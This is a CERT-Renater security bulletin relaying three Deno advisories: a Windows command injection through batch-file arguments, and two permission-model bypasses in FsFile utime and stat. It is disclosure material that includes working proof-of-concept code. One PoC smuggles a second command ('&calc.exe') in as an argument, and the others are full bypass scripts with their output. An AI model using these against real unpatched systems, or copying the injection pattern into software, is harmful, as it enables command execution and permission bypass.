Ce mail provient de l'extérieur, restons vigilants ===================================================================== CERT-Renater Note d'Information No. 2025/VULN682 _____________________________________________________________________ DATE : 09/10/2025 HARDWARE PLATFORM(S): / OPERATING SYSTEM(S): Systems running Deno versions prior to 2.2.15, 2.5.3. ===================================================================== https://github.com/denoland/deno/security/advisories/GHSA-m2gf-x3f6-8hq3 https://github.com/denoland/deno/security/advisories/GHSA-vg2r-rmgp-cgqj https://github.com/denoland/deno/security/advisories/GHSA-qq26-84mh-26j9 _____________________________________________________________________ Command Injection on Windows High bartlomieju published GHSA-m2gf-x3f6-8hq3 Oct 7, 2025 Package No package listed Affected versions <=2.5.1 Patched versions 2.2.15, 2.5.2 Description Summary Deno versions up to 2.5.1 are vulnerable to Command Line Injection attacks on Windows when batch files are executed. Details In Windows, CreateProcess() always implicitly spawns cmd.exe if a batch file (.bat, .cmd, etc.) is being executed even if the application does not specify it via the command line. This makes Deno vulnerable to a command injection attack on Windows as demonstrated by the two proves-of-concept below. PoC Using node:child_process (with the env and run permissions): const { spawn } = require('node:child_process'); const child = spawn('./test.bat', ['&calc.exe']); Using Deno.Command.spawn() (with the run permission): const command = new Deno.Command('./test.bat', { args: ['&calc.exe'], }); const child = command.spawn(); Impact Both of these scripts result in opening calc.exe on Windows, thus allowing a Command Line Injection attack when user-provided arguments are passed if the script being executed by the child process is a batch script. Severity High 8.1/ 10 CVSS v3 base metrics Attack vector Network Attack complexity High Privileges required None User interaction None Scope Unchanged Confidentiality High Integrity High Availability High CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H CVE ID CVE-2025-61787 Weaknesses Weakness CWE-77 Credits @R4356th R4356th Reporter _____________________________________________________________________ Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync --deny-write permission bypass Low bartlomieju published GHSA-vg2r-rmgp-cgqj Oct 7, 2025 Package deno (Rust) Affected versions <=2.5.2 Patched versions 2.2.15, 2.5.3 Description Summary Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./. It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./). Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model. PoC Setup: deno --version deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu) v8 13.7.152.14-rusty typescript 5.8.3 touch test.txt // touch test.txt // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1 async function poc1(){ using file = await Deno.open("./test.txt", { read: true, write: false}); const fileInfoBefore = await file.stat(); await file.utime(new Date("2000-01-01"), new Date("2000-01-01")); const fileInfoAfter = await file.stat(); console.log(`BEFORE (utime)`) console.log(new Date(fileInfoBefore.mtime).getFullYear()) console.log(new Date(fileInfoBefore.atime).getFullYear()) console.log(`AFTER (utime)`) console.log(new Date(fileInfoAfter.mtime).getFullYear()) console.log(new Date(fileInfoAfter.atime).getFullYear()) } // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2 function poc2(){ using file = Deno.openSync("./test.txt", { read: true, write: false}); const fileInfoBefore = file.statSync(); file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01")); const fileInfoAfter = file.statSync(); console.log(`BEFORE (utimeSync)`) console.log(new Date(fileInfoBefore.mtime).getFullYear()) console.log(new Date(fileInfoBefore.atime).getFullYear()) console.log(`AFTER (utimeSync)`) console.log(new Date(fileInfoAfter.mtime).getFullYear()) console.log(new Date(fileInfoAfter.atime).getFullYear()) } // https://docs.deno.com/api/deno/~/Deno.utime // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3 async function poc3(){ // not executed await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); } // https://docs.deno.com/api/deno/~/Deno.utimeSync // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4 function poc4(){ // not executed Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); } async function main(){ const poc = Deno.args[0] || 1; const status = await Deno.permissions.query({ name: "write", path: "./" }); console.log(status); switch (poc) { case "1": poc1() break; case "2": poc2() break; case "3": poc3() break; case "4": poc4() break; default: poc1() } } main() Output: deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1 PermissionStatus { state: "denied", onchange: null } BEFORE (utime) 2025 2025 AFTER (utime) 2000 2000 deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2 PermissionStatus { state: "denied", onchange: null } BEFORE (utimeSync) 2000 2000 AFTER (utimeSync) 2001 2001 deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3 PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); ^ ... deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4 PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); ^ ... Impact Permission model bypass Severity Low 3.3/ 10 CVSS v3 base metrics Attack vector Local Attack complexity Low Privileges required Low User interaction None Scope Unchanged Confidentiality None Integrity Low Availability None CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N CVE ID CVE-2025-61785 Weaknesses Weakness CWE-266 Credits @dellalibera dellalibera Reporter _____________________________________________________________________ Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSyn --deny-read permission bypass Low bartlomieju published GHSA-qq26-84mh-26j9 Oct 7, 2025 Package deno (Rust) Affected versions <=2.5.2 Patched versions 2.2.15, 2.5.3 Description Summary Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./) Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. PoC Setup: deno --version deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu) v8 13.7.152.14-rusty typescript 5.8.3 touch test1.txt poc_file.stat.ts // touch test1.txt // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1 // deno run --allow-write=./ poc_file.stat.ts 1 async function poc1(){ using file = await Deno.open("./test1.txt", { read: false, write: true}); const fileInfo = await file.stat(); console.log(fileInfo.isFile); } // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2 // deno run --allow-write=./ poc_file.stat.ts 2 function poc2(){ using file = Deno.openSync("./test1.txt", { read: false, write: true}); const fileInfo = file.statSync(); console.log(fileInfo.isFile); } // https://docs.deno.com/api/deno/~/Deno.stat // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3 // deno run --allow-write=./ poc_file.stat.ts 3 async function poc3(){ // not executed const fileInfo = await Deno.stat("./test1.txt"); console.log(fileInfo.isFile); } // https://docs.deno.com/api/deno/~/Deno.statSync // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4 // deno run --allow-write=./ poc_file.stat.ts 4 function poc4(){ // not executed const fileInfo = Deno.statSync("./test1.txt"); console.log(fileInfo.isFile); } async function main(){ const poc = Deno.args[0] || 1; const status = await Deno.permissions.query({ name: "read", path: "./" }); console.log(status); switch (poc) { case "1": poc1() break; case "2": poc2() break; case "3": poc3() break; case "4": poc4() break; default: poc1() } } main() Output: deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1 PermissionStatus { state: "denied", onchange: null } true deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2 PermissionStatus { state: "denied", onchange: null } true deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3 PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag const fileInfo = await Deno.stat("./test1.txt"); ^ ... deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4 PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag const fileInfo = Deno.statSync("./test1.txt"); ^ ... Impact Permission model bypass Severity Low 3.3/ 10 CVSS v3 base metrics Attack vector Local Attack complexity Low Privileges required Low User interaction None Scope Unchanged Confidentiality Low Integrity None Availability None CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N CVE ID CVE-2025-61786 Weaknesses Weakness CWE-269 Credits @dellalibera dellalibera Reporter ========================================================= + CERT-RENATER | tel : 01-53-94-20-44 + + 23/25 Rue Daviel | fax : 01-53-94-20-41 + + 75013 Paris | email:cert@support.renater.fr + =========================================================